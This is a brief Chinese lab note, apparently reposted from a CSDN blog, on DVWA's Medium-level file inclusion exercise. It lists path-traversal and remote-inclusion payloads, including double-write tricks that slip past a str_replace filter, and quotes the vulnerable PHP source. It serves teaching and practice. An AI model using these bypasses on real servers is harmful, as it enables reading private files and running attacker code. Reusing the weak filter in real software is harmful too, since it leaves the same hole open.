0x01:文件包含(Medium)
1.本地
1.绝对路径:?page=/etc/shells //没有被过滤
3.相对路径:?page=../../../dvwa/php.ini //被过滤
4.相对路径绕过:?page=..././..././..././dvwa/php.ini //在每个../前面添加一个. 以及后面添加一个./ //双写绕过
2.远程:
1.远程文件包含:?page=http://127.0.0.1/fit/f1.txt //被过滤
2.远程双写绕过:?page=hhttp://ttp://127.0.0.1/fit/f1.txt //双写绕过
2.上源码: File :Inclusion Source
<?php
// The page we wish to display
$file = $_GET[ 'page' ];
// Input validation
$file = str_replace( array( "http://", "https://" ), "", $file );
$file = str_replace( array( "../", "..\"" ), "", $file );
?>
str_replace函数过滤了什么?
1.http://和https://被替换为空
2.../和..\被替换为空
本文为互联网自动采集或经作者授权后发布,本文观点不代表立场,若侵权下架请联系我们删帖处理!文章出自:https://blog.csdn.net/qq_45555226/article/details/103014949